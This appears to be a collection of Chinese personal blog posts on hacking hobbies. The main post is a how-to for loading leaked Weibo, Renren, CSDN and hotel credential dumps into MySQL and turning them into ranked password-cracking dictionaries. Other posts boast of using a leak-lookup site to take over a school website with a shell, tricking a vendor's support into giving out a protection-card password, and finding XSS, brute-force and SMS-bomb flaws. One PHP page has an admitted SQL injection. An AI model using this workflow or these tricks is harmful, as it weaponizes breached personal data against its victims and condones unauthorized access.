创建一个表;这里用的是weibo.com.txt,创建表要根据里面的内容来,有的只有User和pass,有的多一个mail.看大家需不需要了。

CREATE TABLE IF NOT EXISTS weibo(

mail varchar(50) NOT NULL,

pass varchar(50) NOT NULL

)ENGINE=MyISAM DEFAULT CHARSET=utf8;

导入数据; 路径 into 表名(列名),这里路径要注意是f:/不是f:\,千万注意。后面导出的才是f:\,我这里搞了很久啊;

load data infile “F:/weibo.com.txt” into table weibo(mail,pass);

导入了470w数据了,花费了8秒。

导出字典,就是导出pass字段,同时去除重复;

select distinct pass from weibo into outfile ‘f:/weibo.dic’;

重复是惊人的,居然一半以上是重复的密码。这里花了1分29秒。

导出sql文件,以免日后要转移,也方便一点。

这里新运行一下shell.bat获得一个cmd,然后输入

mysqldump -u root test>f:\weibo.sql

没有显示就成功了。

 

最后我们就得到这几个文件了,可以发现他导出的去除重复的字典也就只有20m不到,

如果把其他的数据库一起放过来,再去重估计也就几百m。当然如果能有其他的库就另外说了。

导入数据库的好处就是我们可以使用查询语句分析所有内容,比如可以查询里面使用频率最高的密码,用这个做出的字典就是精华了啊。

 

也可以查询包含nimeimei的记录:

SELECT * FROM renren WHERE user LIKE ‘%nimeimei%’;

数据库比较大的话时间会旧一点;

 

2小时就整了3各字典,我这个效率o(︶︿︶)o 唉。不过明天就快了。

 

补充一点点,这里说下制作一些弱口令字典。就是统计里面的密码使用次数,使用比较多的就是若密码了。

建立索引

CREATE INDEX index_csdn ON csdn(pass)

联合多表,生成弱密码统计的。按使用人数来排列的弱密码。

SELECT pass, COUNT( pass ) FROM renren GROUP BY pass ORDER BY COUNT( * ) DESC;
select pass, num from (
(select pass, count(pass) as num from renren group by pass order by count(pass) desc limit 10000)
union
(select pass, count(pass) as num from weibo group by pass order by count(pass) desc limit 10000)
union
(select pass, count(pass) as num from csdn group by pass order by count(pass) desc limit 10000)
union
(select pass, count(pass) as num from kaixin766 group by pass order by count(pass) desc limit 10000)

) as tmp
order by num desc limit 0,30

然后导出来就得到了一个弱密码字典,可以用来跑些东东了。

 

 

今天又把他给做完整了一下,以后找到一个比较大的空间的话,我就传上去了。mysql 4g多。额
a.连接mysql
mysql -h localhost -u root

b.进入mysql后,
show databases;
use test;

c
如果是sql的
按照上面的执行后,再来这个
source f:/datafilename.sql

或者直接是txt的,则按照这个来
1. 有些文件比较多,通过这个命令来合并成1个文件
copy . 1.txt
2.然后通过type查看里面的格式,再来决定导入的方法

type 1.txt
3.连接sql,按照前面的use test;然后继续
4.添加表,通过type查看到的列来决定创建多少列。
CREATE TABLE IF NOT EXISTS ispeak(
user varchar(50) NOT NULL,
pass varchar(50) NOT NULL,
mail varchar(50) NOT NULL
)ENGINE=MyISAM DEFAULT CHARSET=utf8;
5、导入数据
制表符分割的用这个
load data infile “F:/hackbase.txt” into table hackbase(user,pass,mail);
逗号分割的用这个,逗号也能换成其他的
load data infile “F:/ispeak.txt” into table ispeak fields terminated by’,’ lines terminated by’/n’
(user,pass,mail);
如果有时候导入出现一行都在一列里面,用这个
load data infile “F:/ispeak.txt” into table ispeak fields terminated by’,’ (user,pass,mail);

按照逗号分割,导入sql,需要先create,但是这个老是会有问题,还是用上面的吧
mysqlimport –local -u root test F:/ispeak.txt
6.导出sql
别在mysql里输入,打开cmd,输入
mysqldump -u root test>f:\ispeak.sql

d
导入完成后就可以导出一个字典,用于干啥大家都知道吧。都是常用密码
select distinct pass from ispeak into outfile ‘f:/ispeak.dic’;

 

2014-1-6 补充

按照上面导入的方法如果有中文是会乱码的,所以需要处理一下

1.转换文件编码gbk为utf8

习惯问题,用bgk也可以,不过我喜欢统一化,避免问题。linux下有命令,常用环境不是linux 所以找了一个windows下的软件处理一下

GB2UTF8

2.去除干扰

把多个空格,空格行,空行,非统一的分隔符 全部处理一下,根据不同文件会需要到下面不同的命令

$sed ‘/^$/d’ test.txt >1.txt 去除回车空行
sed ‘/^[[:space:]][[:space:]]$/d’ 1-20W.txt >1.txt 替换空格形成的空行
sed -e ‘s/[ ][ ]
/,/g’ filename >1.txt 转换多个空格为 , 进行分隔符

还是装了一个cygwin来处理,实在是不方便

3.导入

由于是中文,所以和前面的有些不一样, 主要是 需要设置编码 character set utf8 这一句,选最长的一句来做示范 。

load data local infile ‘D:/database/hotel/200W-400W.csv’ into table hotel character set utf8 fields terminated by ‘,’ lines terminated by ‘\n’ (Name,CardNo,Descriot,CtfTp,CtfId,Gender,Birthday,Address,Zip,Dirty,District1,District2,District3,District4,District5,District6,FirstNm,LastNm,Duty,Mobile,Tel,Fax,EMail,Nation,Taste,Education,Company,CTel,CAddress,CZip,Family,Version,id);

 

导出备份一下

导出整个数据库结构和数据
mysqldump -h localhost -uroot -p123456 database > dump.sql

导出单个数据表结构和数据,推荐这种,虽然麻烦,但是分表避免文件太大。
mysqldump -h localhost -uroot -p123456 database table > dump.sql

轻松搭建私有云

 

昨天的迷你云xss可以说是没什么用处,今天发现迷你云确实很不错,至少不用担心数据会别人窃取。

今天就做了一个搭建迷你云的教程。

可以在家中的电脑上搭建迷你云,只要使用他的windows或者linux一键环境。不过我还是喜欢用php空间搭建。

因为这样不用担心家中电脑关机,也可以保证传输速度。这里空间使用的是openshift,以前有过教程,翻墙一直用的他。

openshift申请一个数据库后,

ssh连上 cd app-root\repo\php

然后wget http://www.miniyun.cn/app/download/type/server/mime/zip

之后unzip zip。

接下来进入数据库配置,很简单的,http进入你解压的目录我这里是https://tools.chenxing.org.cn/yun/[
](http://bcs.duapp.com/dlinux/QQ%E6%88%AA%E5%9B%BE20121208173708.png)[
](http://bcs.duapp.com/dlinux/QQ%E6%88%AA%E5%9B%BE20121208173639.png)[![](http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173639-210x300.png “QQ20121208173639”)](http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173639.png)

选择mysl数据库,接下来配置信息。这些申请的时候都有的,openshift的不能填localhost,要进phpmyadmin看里面的地址才行。

之后创建一个admin就好了。

注意看,他提供web,windows,android3种登入方式,ios的好像也可以了。登入后就可以在web上使用了,这个和金山快盘类似,因为他就是仿照快盘的,不对,借鉴借鉴。以前猪八戒看到过这个任务。嘿嘿。

由于这个是外国的空间,所以上传速度大概只有40k,下载在150k左右。不过没关系,大文件都用百度网盘之类的,私有云只是存储一些不方便放其他地方的文件,小文件,速度不担心。你又其他的就别担心了。

点击右上角有管理功能哦,管理员才有,然后看看windows的界面吧。

迷你云xss一枚

迷你云是一套软件,不是在线存储服务,迷你云助您快速搭建私有Dropbox(宇宙最受欢迎的同步网盘)。

http://www.miniyun.cn/

当然看到这个是因为他那个说南昌话介绍产品的妹纸,坑爹啊,好好的妹纸就这样切了货啊。

官方提供了默认的测试帐号,然后进去找了各输入框。就是通讯录里面的新建分组或者联系人,然后只要有人登入进来就可以看到这个了吧。

邮箱邀请注册技巧

很多东西可以通过邀请好友来获得额外的奖励。

比如我使用的这个快盘,可以通过邀请好友获取额外的空间。

然后我们要注册很多各邮箱完成注册么?当然不是,这有个简单的方法,就是企业邮箱。我们使用qq企业邮箱。先注册一个来用。

http://tel.exmail.qq.com/

注册要使用手机号,如果有独立域名也可以,info提示被禁,发送大量垃圾邮件的后果啊。然后新增一个邮箱帐号,

我这里是d@手机号.foxmail.com这个。

新增完后就设置,邮件转移。这是利用企业邮箱的转移功能,只要有邮件发送到不存在的邮箱地址就可以转移到你设置的邮箱当中。是不是知道怎么办了?

我们前面的d@手机.foxmail.com 可以收取 *@手机.foxmail.com的所有邮件了,然后注册的时候可以随便填写,但后缀必须是你注册的。之后嘛。

就是这样,以后可以使用这个方法获得大量的邮箱地址了。

噢易保护卡破解

今天上软件测试实在无聊,就顺手想把保护卡和监控给弄下来。

这里先说保护卡吧。 保护卡是噢易的,比较繁琐,测试了一会都没什么用。

开机f3找到一个用户密码:sys 697 856 767 669 738 739 767 848 不知道是加密的,打了好几遍都不行。

然后放弃了,回来后百度到一个好东西。有个回答比较厉害。

 

 

 

 

 

看到了么,果断照它来。

 

 

 

 

 

就按照那个提问来吧,果断弄到密码。o(︶︿︶)o 唉,是默认的,我也没试一下。看这句话,小心穿帮啊!

 

幼儿猿 17:08:05

你好

噢易客服四号 17:08:21

您好

幼儿猿 17:09:25

这样的,我网上买了台电脑,它开机显示被保护了,oseasy然后我应该怎么样去掉啊

噢易客服四号 17:10:39

您是不想要这个保护还原,是吗?

幼儿猿 17:10:45


幼儿猿 17:10:56

他提示要密码那

幼儿猿 17:11:07

我也不知道

噢易客服四号 17:12:45

我们的oss系统一般是针对学校用户的,一般都是学校用户进行采购的

幼儿猿 17:13:05

买的2手的额

噢易客服四号 17:13:12

我们可以帮您算密码

幼儿猿 17:13:13


17:13:15

对方IP: 59.174.76.179 — 湖北省武汉市 (洪山区)电信 QQ2013 Beta1 体验版(5311)

幼儿猿 17:13:18


幼儿猿 17:13:22

怎么弄啊

噢易客服四号 17:13:35

您开机,到开机界面,按f3,把密文告诉我们

幼儿猿 17:14:55

好了

噢易客服四号 17:15:04


幼儿猿 17:15:18

697 856 767 669 738 739 767 848

幼儿猿 17:15:31

是这个吧

噢易客服四号 17:16:03

oseasy

噢易客服四号 17:16:05

是的

噢易客服四号 17:16:12

密码是oseasy

幼儿猿 17:16:28

用户是那个sys么

噢易客服四号 17:16:35

是的

幼儿猿 17:16:57

然后是开机的时候卸载还是xp里面卸载啊

噢易客服四号 17:17:23

您这边开机之后有几个系统?

幼儿猿 17:17:58

2个

幼儿猿 17:18:46

xp1和xp2,想重装一下,弄不掉这个

噢易客服四号 17:20:37

开机界面,f10 ,输入用户名和密码,卸载,执行不保留卸载,两个系统都没了

幼儿猿 17:21:22

以后就不会出现这个了吧

噢易客服四号 17:21:46

稍等一会

噢易客服四号 17:21:55

您在那个界面上,看一下关于

噢易客服四号 17:22:02

有没有硬件版本号?

幼儿猿 17:23:30

没有吧





现在密码到手,方法也有,回去就给卸了,等会说下监控的事。

凌波多媒体教学软件反监控

机房里看到这个,一般都是分teacher和student端的,teacher端控制student,不过很少设置密码的。

无非就是把本机的student卸载掉,然后安装teacher端就可以实现反监控。

查看一下是凌波6.6.0.0的,下载同版本的破解版,先卸载掉再安装上teacher端,ko。

由于破解没弄好,他破解后,我原本想锁翔哥屏的,结果全部电脑都被锁了,吓到一下。

然后老师给出了解释,学校最近查的比较严,可能是监控到很多人玩游戏,就提醒一下。

这老师,我爱你。学校确实查的挺严的。下回我把图给补上好了。

关棍节来晒单啦

最早的14号,最晚的25号。如果算上那个换的话,今天才发过去。还一张。

发北京真贵啊,21块。你妹的,发过来才8块。

中奖啦,DNSPOD的笔记本

确切的说,这是我这辈子第一次网上中到一个实物的奖品。

泪牛满面啊。 10月30号买了个域名,还是info的,4块钱,godaddy解析不上,转dnspod了。然后11月说可以每天抽奖。

乖乖,抽了个笔记本,还不要钱给送过来。虽然想要那个抱枕,但是很开心。支持dnspod啊。听说dnspod送老婆,是不是真得的。

 

有信网络电话漏洞集锦

12点起来找漏洞伤不起啊。

【1.暴力破解帐号】

刚刚乌云看到那个微微网络电话的漏洞,就想到我用的有信,就爬起来看看。
有信http://www.uxin001.com
有信Android端默认依据手机号自动登入,默认生成一个6位数字密码,验证码不会刷新,so。
用户可自定义密码,或修改密码,但漏洞依然存在。

【2.有信网络电话,短信炸弹】

还是验证码的问题,不过这个可以对所有手机发动短信攻击。
测试电信(注册有信),移动,联通(未注册,第一次发送会产生默认6位数字密码完成注册),均可收到短信,无频率限制。

先放2个吧,好困了。时间太晚了毕竟。要是有妹纸的通讯录,嘿嘿。

【3.第三期了,可以无限用免费电话了】

后台问题反馈有xss,可以获取所有访客的cookies。然后cookies里面用户密码。。。

这里有个留学生的帐号。无限打电话咯。wooyun忘记传这里了。下次弄把

Android平台下渗透测试工具集合

Ad Network Detector (1.2): http://market.android.com/details?id=com.lookout.addetector

App Backup & Restore (1.0.5): http://market.android.com/details?id=mobi.infolife.appbackup

App Cache Cleaner (1.1.3): http://market.android.com/details?id=mobi.infolife.cache

ARPspoof: https://github.com/robquad/Arpspoof/Arpspoof.apk/qr_code

CACertMan (0.0.2-20110906): http://market.android.com/details?id=info.guardianproject.cacert

CacheMate for Root Users Free (2.4.2): http://market.android.com/details?id=com.aac.cachemate.demo

Carrier IQ Detector (1.1.1): http://market.android.com/details?id=com.lookout.carrieriqdetector

DeuterIDE (0.5): http://market.android.com/details?id=com.didactic.DeuterIDE

Devcheats (1.2): http://market.android.com/details?id=miquelco.devcheats

DroidVPN (1.8.7c): http://market.android.com/details?id=com.aed.droidvpn

Gibberbot (0.0.9-RC4): http://market.android.com/details?id=info.guardianproject.otr.app.im

InfoSec Reference (40): http://market.android.com/details?id=hackers.reference.free

IPv6 and More (2.1): http://market.android.com/details?id=com.tsts.ipv6

IrcDroid (4.0.8): http://market.android.com/details?id=pl.xampear.ircdroid

LUKS Manager (2.4): http://market.android.com/details?id=com.nemesis2.luksmanager

Naked Security (1.4.8.4060): http://market.android.com/details?id=com.conduit.app_a6722ad0d45240419c328b0fa48e6851.app

NoteCipher (0.0.4.1): http://market.android.com/details?id=info.guardianproject.notepadbot

ObscuraCam (2.0-RC2b): http://market.android.com/details?id=org.witness.sscphase1

OpenVPN Settings (0.4.11): http://market.android.com/details?id=de.schaeuffelhut.android.openvpn

Packet Injection (1.2): http://market.android.com/details?id=ot.semba.packetinjection

Pamn IP Scanner (nmap https://play.google.com/store/apps/details?id=com.wjholden.nmap

Pastebin for Android (3.5): http://market.android.com/details?id=com.jmz.pastedroidapp

Prey (0.5): http://market.android.com/details?id=com.prey

USB Device Info (0.0.5): http://market.android.com/details?id=aws.apps.usbDeviceEnumerator

Vpn1Click (2.21): http://market.android.com/details?id=com.vpnoneclick.android

Wifi Analyzer (3.2.232): http://market.android.com/details?id=com.farproc.wifi.analyzer

WiFi Key Recovery (0.0.8): http://market.android.com/details?id=aws.apps.wifiKeyRecovery

WinExploitSMBv2 (1.0): http://market.android.com/details?id=winexploitsmbv2.azelart.fr

AdFree (0.8.44): http://market.android.com/details?id=com.bigtincan.android.adfree

aDownloader (1.0.8.4): http://market.android.com/details?id=com.DroiDownloader

Advanced Task Killer Free (1.9.7B92): http://market.android.com/details?id=com.rechild.advancedtaskkiller

AIDE (1.0.beta19): http://market.android.com/details?id=com.aide.ui

AndCha (1.4.0.2 2012-05-11): http://market.android.com/details?id=net.andchat

androidVNC (0.5.0): http://market.android.com/details?id=android.androidVNC

AndroIRC (3.3.4): http://market.android.com/details?id=com.androirc

Android File Transfer MAC http://www.android.com/filetransfer/

android-nfc-paycardreader (taken down, cloned here) https://github.com/ciphersson/android-nfc-paycardreader (another backup)https://www.dropbox.com/s/3q9vxu7ioiq5i4c/thomasskora-android-nfc-paycardreader-459a9b2.zip

AWS for Android (1.6.0): http://market.android.com/details?id=jp.dip.kizunasoft.aws

BusyBox Free (8.6): http://market.android.com/details?id=stericson.busybox

CACertMan https://play.google.com/store/apps/details?id=info.guardianproject.cacert

Conky? Widget (1.0.3): http://market.android.com/details?id=jp.masaki.TW

ConnectBot (1.7.1): http://market.android.com/details?id=org.connectbot

Cryptroid (2.9.3): http://market.android.com/details?id=com.andy.cryptroid

DoggCatcher (1.2.3430): http://market.android.com/details?id=com.snoggdoggler.android.applications.doggcatcher.v1_0

droid VNC server (1.1RC0): http://market.android.com/details?id=org.onaips.vnc

DroidCAT (1.0): http://market.android.com/details?id=anant.hax.droidcat

DroidEdit Free (1.14.8): http://market.android.com/details?id=com.aor.droidedit

DroidMote Client (2.9.1): http://market.android.com/details?id=org.videomap.droidmoteclient

DroidSheep (14):https://code.google.com/p/droidsheep/source/checkout

DroidSheep Guard:https://play.google.com/store/search?q=droidsheep+guard

DroidWall (1.5.7): http://market.android.com/details?id=com.googlecode.droidwall.free

Dropbox (2.1.7): http://market.android.com/details?id=com.dropbox.android

ElectroDroid (3.0.1): http://market.android.com/details?id=it.android.demi.elettronica

Enigma Simulator (1.07): http://market.android.com/details?id=uk.co.franklinheath.enigmasim

FaceNiff (2.1a): http://market.android.com/details?id=net.ponury.faceniff

Fake GPS (1.5.0): http://market.android.com/details?id=com.lexa.fakegps

Fing - Network Tools (2.0): http://market.android.com/details?id=com.overlook.android.fing

Firefox Beta (15.0): http://market.android.com/details?id=org.mozilla.firefox_beta

Gaug.es (1.4): http://market.android.com/details?id=com.github.mobile.gauges

Gibberbot https://play.google.com/store/apps/details?id=info.guardianproject.otr.app.im

GitHub (1.0.4): http://market.android.com/details?id=com.github.mobile

GooManager (2.1.1): http://market.android.com/details?id=com.s0up.goomanager

GPS OnOff (2.1.0): http://market.android.com/details?id=com.curvefish.widgets.gpsonoff

GScript (1.1.2): http://market.android.com/details?id=nl.rogro.GScriptFull

Hack a Droid (4.2): http://market.android.com/details?id=com.firebird.hackadroid

Hacker’s Keyboard (v1.33): http://market.android.com/details?id=org.pocketworkstation.pckeyboard

Hackers Home Pro (1.05): http://market.android.com/details?id=com.theredhatter_hackershomepro

Hash Droid (3.1): http://market.android.com/details?id=com.hobbyone.HashDroid

Iptables (beta) https://play.google.com/store/apps/details?id=com.mgranja.iptables&hl=en

Infosec Island (3): http://market.android.com/details?id=com.appmakr.app152726

Irssi ConnectBot (1.7.1-irssi): http://market.android.com/details?id=org.woltage.irssiconnectbot

IrssiNotifier (1.2): http://market.android.com/details?id=fi.iki.murgo.irssinotifier

LanDroid (1.25): http://market.android.com/details?id=net.fidanov.landroid

LauncherPro (0.8.6): http://market.android.com/details?id=com.fede.launcher

LBE Privacy Guard (3.0.1): https://play.google.com/store/search?q=lbe+privacy+guard

LogCat+ (0.1.0): http://market.android.com/details?id=com.baldhead.android.logcatplus

LUKS Manager https://play.google.com/store/apps/details?id=com.nemesis2.luksmanager

Lulz Soundboard (2.0): http://market.android.com/details?id=net.rocketbird.LulzSoundboard

Metal Sniffer (0.6.0): http://market.android.com/details?id=com.icechen1.metalsniffer

Mock GPS (1.1.1): http://market.android.com/details?id=com.tim.apps.mockgps

Moss (0.5): http://market.android.com/details?id=org.mosspaper

Nessus (1.0.1): http://market.android.com/details?id=com.tenable

Network Discovery (0.3.5): http://market.android.com/details?id=info.lamatricexiste.network

Network Info II (0.6.7): http://market.android.com/details?id=aws.apps.networkInfoIi

Network Spoofer (0.9.0): http://market.android.com/details?id=uk.digitalsquid.netspoofer

NewsRob (4.8.8): http://market.android.com/details?id=com.newsrob

Nmap (0.6.1): http://market.android.com/details?id=com.wjholden.nmap

NoteCipher https://play.google.com/store/apps/details?id=info.guardianproject.notepadbot

ObscuraCam https://play.google.com/store/apps/details?id=org.witness.sscphase1

Orbot Tor (0.2.3.17-beta-1.0.9-rc5a): http://market.android.com/details?id=org.torproject.android

Orweb Proxy+Privacy Browser https://play.google.com/store/apps/details?id=info.guardianproject.browser

PdaNet Tablet (2.20): http://market.android.com/details?id=com.pdanet.tablet2

Penetrate Pro Removed form google play. Reason here.>> http://underdev.org/http://www.forhacsec.com/2011/06/13/penetrate-wep-key-cracking-app-removed-from-the-android-market/My back up….https://www.dropbox.com/s/2rhs24m6dpurbe0/Penetrate%20Pro%20v2.7.1%20for%20Android.apkhttp://www.mediafire.com/?aamwjt5mvvtlewm

PiiK (1.0): http://market.android.com/details?id=net.ponury.piik

Ping & DNS (1.8.5): http://market.android.com/details?id=com.ulfdittmer.android.ping

Pixie (1.0.6): http://market.android.com/details?id=com.nbl.pixie

Pixie Probe (1.0.1): http://market.android.com/details?id=com.nbl.pixieprobe

Port Scanner (4.96): http://market.android.com/details?id=com.twistandroid.portscan

PortKnocker (1.2.0): http://market.android.com/details?id=org.thebigmachine.portknocker

Python for Android (6): http://market.android.com/details?id=com.googlecode.pythonforandroid

Python Programming Reference FREE (1.2): http://market.android.com/details?id=nadsoft.pythonprogrammingreferencefree

PythonConsole (1.2): http://market.android.com/details?id=com.pythonconsole

RemoteFile (1.8.2): http://market.android.com/details?id=com.grrzzz.remotefilefull

Root Explorer (2.20.1): http://market.android.com/details?id=com.speedsoftware.rootexplorer

SecuriteInfo.com NetAudit (2.24.3957): http://market.android.com/details?id=com.securiteinfo.android.netaudit

ShareMyApps (3.2.1): http://market.android.com/details?id=com.mattlary.shareMyApps

Shark (1.0.2): http://market.android.com/details?id=lv.n3o.shark

SharkReader (0.1.5): http://market.android.com/details?id=lv.n3o.sharkreader

Shoutcast Client (0.1.6): http://market.android.com/details?id=com.gomork

Show IP (1.4): http://market.android.com/details?id=mobi.mgeek.showip

Skype (2.8.0.920): http://market.android.com/details?id=com.skype.raider

SL4A (4): http://market.android.com/details?id=com.googlecode.android_scripting

SManager ads (2.4): http://market.android.com/details?id=os.tools.scriptmanager

Solid Explorer (1.3): http://market.android.com/details?id=pl.solidexplorer

SSHTunnel (1.5.4): http://market.android.com/details?id=org.sshtunnel

StickMount (1.5): http://market.android.com/details?id=eu.chainfire.stickmount

STUN Client (1.1): http://market.android.com/details?id=com.kodholken.stunclient

Superuser (3.1.3): http://market.android.com/details?id=com.noshufou.android.su

TeamViewer (7.0.405): http://market.android.com/details?id=com.teamviewer.teamviewer.market.mobile

Terminal Emulator (1.0.44): http://market.android.com/details?id=jackpal.androidterm

Translate (2.4.2): http://market.android.com/details?id=com.google.android.apps.translate

Twitter (3.3.1): http://market.android.com/details?id=com.twitter.android

WiFi File Transfer (1.0.3): http://market.android.com/details?id=com.smarterdroid.wififiletransfer

Wigle Bluetooth (1.0): http://market.android.com/details?id=net.wigle

WiGLE Wifi Wardriving (1.52): http://market.android.com/details?id=net.wigle.wigleandroid

X-Ray (1.0): http://market.android.com/details?id=com.duosecurity.xray

xkcd Browser (3.0): http://market.android.com/details?id=com.floern.xkcd

zAnti (1.0.5): http://market.android.com/details?id=com.zimperium.zanti

µTorrent Remote (1.0.20110929): http://market.android.com/details?id=com.utorrent.web

Frameworks and distros

Smartphone Pentest Framework http://www.bulbsecurity.com/smartphone-pentest-framework/

MobiSec http://sourceforge.net/projects/mobisec/

osaftoolkit http://osaf-community.org/

Santoku-Linux https://santoku-linux.com/

Android Security Evaluation Framework- ASEF https://code.google.com/p/asef/

android-apktool http://code.google.com/p/android-apktool/

dex2jar http://code.google.com/p/dex2jar/

Other stuff

Real APK Leecher Tageline: Real APK Leecher, the easiest way to download android apk file from Android Market to desktophttp://codeimba.com/2012/03/09/real-apk-leecher-the-easiest-way-to-download-android-apk-file/ http://codeimba.com/wp-content/uploads/Real%20APK%20Leecher.zip http://www.mediafire.com/?b5vibfddvxmh98yhttps://dl.dropbox.com/u/13532430/Real%20APK%20Leecher.zip

Android FOSS Repo http://f-droid.org/

 

 

https://guardianproject.info/

简简单单的学院男女比例统计

以前在哪里看到过一个统计全学校男女比例的表格,我就想把他做成统计图,然后再统计下星座什么的。

3月和9月的女生和我不合呐。

这次使用了Highcharts这一开源图表库。他额好处就是纯脚本,哪里都能放。

可以进入官网看看http://www.highcharts.com/

excel数据导入mysql中就不演示了,数据确实比较敏感,不好放出来。

说说主要的实现过程。

connect.php //数据库连接文件

<?php
$host="local";
$db_user="eshos";
$db_pass="123456";
$db_name="eshos";
$timezone="Asia/Shanghai";

$link=mysql_connect($host,$db_user,$db_pass);
mysql_select_db($db_name,$link);
mysql_query("SET names UTF8");
?>

show.php // 生成图表
<?php
include_once('connect.php');
$year=$_GET['year'];
//$exec="select * from JiangCai_College where year=".$year;
$res = mysql_query("select * from JiangCai_College where year=".$year);

while($row = mysql_fetch_array($res)){
    $college[] = $row['college'];  //获取学院名称
    $male[] = intval($row['male']);  //获取男生人数,并转换为数字整型
    $female[] = intval($row['female']); //获取女生人数,并转换为数字整型
}

?>

<!DOCTYPE HTML>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <title>Highcharts Example</title>

        <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script>
        <script type="text/javascript">
$(function () {
    var chart;
    $(document).ready(function() {
        chart = new Highcharts.Chart({
            chart: {
                renderTo: 'container',
                type: 'column'
            },
            title: {
                text: '江西财经大学<?php echo $year; ?>年各学院男女分布图'
            },
            xAxis: {
                categories:  <?php echo json_encode($college); ?>
            },
            yAxis: {
                min: 0,
                title: {
                    text: '男女人数'
                },
                stackLabels: {
                    enabled: true,
                    style: {
                        fontWeight: 'bold',
                        color: (Highcharts.theme && Highcharts.theme.textColor) || 'gray'
                    }
                }
            },
            legend: {
                align: 'right',
                x: -100,
                verticalAlign: 'top',
                y: 20,
                floating: true,
                backgroundColor: (Highcharts.theme && Highcharts.theme.legendBackgroundColorSolid) || 'white',
                borderColor: '#CCC',
                borderWidth: 1,
                shadow: false
            },
            tooltip: {
                formatter: function() {
                    return '<b>'+ this.x +'</b><br/>'+
                        this.series.name +': '+ this.y +'<br/>'+
                        'Total: '+ this.point.stackTotal;
                }
            },
            plotOptions: {
                column: {
                    stacking: 'normal',
                    dataLabels: {
                        enabled: true,
                        color: (Highcharts.theme && Highcharts.theme.dataLabelsColor) || 'white'
                    }
                }
            },
            series: [{
                name: '男',
                data: <?php echo json_encode($male);?>
            },{
                name: '女',
                data: <?php echo json_encode($female);?>
            }]
        });
    });

});
        </script>
    </head>
    <body>
<script src="js/highcharts.js"></script>
<script src="js/modules/exporting.js"></script>

<div id="container" style="min-width: 400px; height: 400px; margin: 0 auto"></div>

    </body>
</html>

很明显,这个存在注入,o(︶︿︶)o 唉,不会过滤,所以重要数据还是没放进数据库,不过大家还是别乱搞啊。
最后结果在这里。


访问链接:http://justforlove.sinaapp.com

hack游戏,通关啦

游戏是来自这里的,

http://monyer.com/game/game1/

以前玩过几次其他的,都没通关过,这次玩这个第5关,然后发现有攻略,嘿嘿。

可惜卡到第5关,攻略还缺了第5关的。攻略我也不发了,第5关要抓个包。嗯嗯,就这样了。

还有那个google的,图片处理还原出来,太牛逼的敢脚。

大家去玩一下吧。2007年的时候,刚学会上网啊,那时候鬼仔的boke订阅很高呢,还有neeao的。不过后来没看更新了,看,我在这里,160名,还无耻的偷看了攻略。o(︶︿︶)o 唉。。。。。。。。。。。。。。。。

Hold住爱,高级黑啊

今天看了杨幂的Hold住爱,我勒个去哦。58女神响铛铛啊。整个电影全是58,微信,然后看到了这一幕。

 

“有了防火墙源代码,不但可以破解防火墙,进入公司内部窃取信息。。。”

这到底哪一句是重点呐。

CSDN密码回见

 

一不小心看到csdn上的这个帖子,神人啊。

http://bbs.csdn.net/topics/330149187

怎样下载Csdn的数据库

发表于: 2010-03-12 16:00:43

我在做一个搜索引擎,需要大量的测试数据,想用Csdn上的数据做测试,Csdn的数据库可以免费下载吗,怎样下载?如果有其他论坛的数据库也可以,谢谢。




 

然后,后面果断是骂楼主的,转眼1年过去,各种顶,楼主神人。

大家看个笑话就好了。

sgk365是这次数据库泄露数据库的聚集查询网站,大家见过没,反正我的密码里面查到了。哭

现在搞了各收费的,qq群也踢掉我了。所以打算把这些数据自己汇集一下,然后自行建立一个查询程序。

其实我用它查到了一个学校的网站密码,shell到手,很爽的,不费吹灰之力。

而且,邮箱,支付宝都。。。。

立贴为证,坐等完工日期吧。

 

 

 

 

 

 

 

 

在里啊,棍棍们

找对象就像电脑装系统,男人是电脑,女人是系统,如果电脑配置低,不给力,装个win7带来华丽的同时,除了卡还是卡。所以配置低的男人还是找个XP将就吧!女人同样,如果你明明是个XP,却非要装到配置牛X的电脑上,那么,时间长了主人慢慢就会把你换掉!当然还有另外一种配置超强的男人,装双系统,在家用XP,在外用windows7。有时候没事还想去试试MAC!

卖假货的淘宝

昨天淘宝上买了件衣服,挺便宜的。 还说是正品jeep,大家都知道是仿的,我看是afs jeep,这个价格也就行了。

今天上去一看,妹妹的,居然还有一个afsjeep的链接,那我买的是什么。

这里没看出问题么?难道没发现衣服是完全一样的。看看这一张,afs太明显的p上去的额。不信?

 

不要以为我图重了,我的图没有发重额,对比一下下就可以发现,胸口logo那里的巨大差距。还是用画图这个犀利工具给改的吧。

他们的美工也约会去了吧。

开始让退货不给退,说发货了,至少要给10块钱快递费。然后,证据来了立马不一样了。一直催我。还想看看他们会不会做好人的。

退款成功了,然后看看有没有好处拿。翔一般的客服,可以举报,可以投诉,投诉可以协商赔偿,协商你妹啊。给我寄来3斤翔,我是该喝了还是泼你一脸;天天3点叫我起来啦翔我是拉还是不拉。

举报不行那就投诉吧,找了10分钟没找到怎么投诉,谁能不百度知道怎么投诉的?

有没有,有没有?

最后发现了吧,在商品页的右上角有4个大字,反正我是瞎了。

其实我想说木有然后了,但是它真的木有然后了,因为你不能举报假冒伪劣产品。不知道这家是怎么弄的,其他地方可以举报假货,但是这家就是木有这一个框啊。举报完了,没的图截了。

到此结束了?是的,不然还能怎么样。。

 

PHP再翻墙_KnProxy

KnProxy 是一个轻量级的基于PHP开发的Web代理。

该版本改进内容包括:

1. 支持云代理技术(仍在进一步测试中)

2. 增加了配置文件

3. 可设置自己的代理key来避免URL被GFW捕获

4. 增加了中文版本

简单的介绍,它的好处就是传上空间,然后就可以使用了,没错就这么简单。 我依然上传到我的php空间中,然后就木有然后了。

项目地址百度吧,经常不可访问,可能是这段时间的缘故,这里给出地址:knProxy-master

PHP代理翻墙

goagent的翻墙很多人都用了,可是都是利用gae的方法吧。

goagent不仅仅可以利用gae,php空间也是可以的。我们下载过来会发现Server文件夹中有2个文件夹,一个python,一个php,只要把php中的文件上传到任何一个php空间 中就可以使用。不过不能是限制太多的,也不要有广告。只有这一个文件哦,上传完成后记住地址,等会要用的。

打开local中的proxy.ini文件,找到[paas]这里,如下修改。地址按你的改,记住加上index.php,如果你改了就按你改的。

然后就OK了,打开goagent,它就开始为你服务了。这时候设置一下浏览器的代理方式。

选择http代理,默认的是127.0.0.1,端口是8088.其他浏览器类似的。
最后我们就可以上youtube观看视频了。

 

 

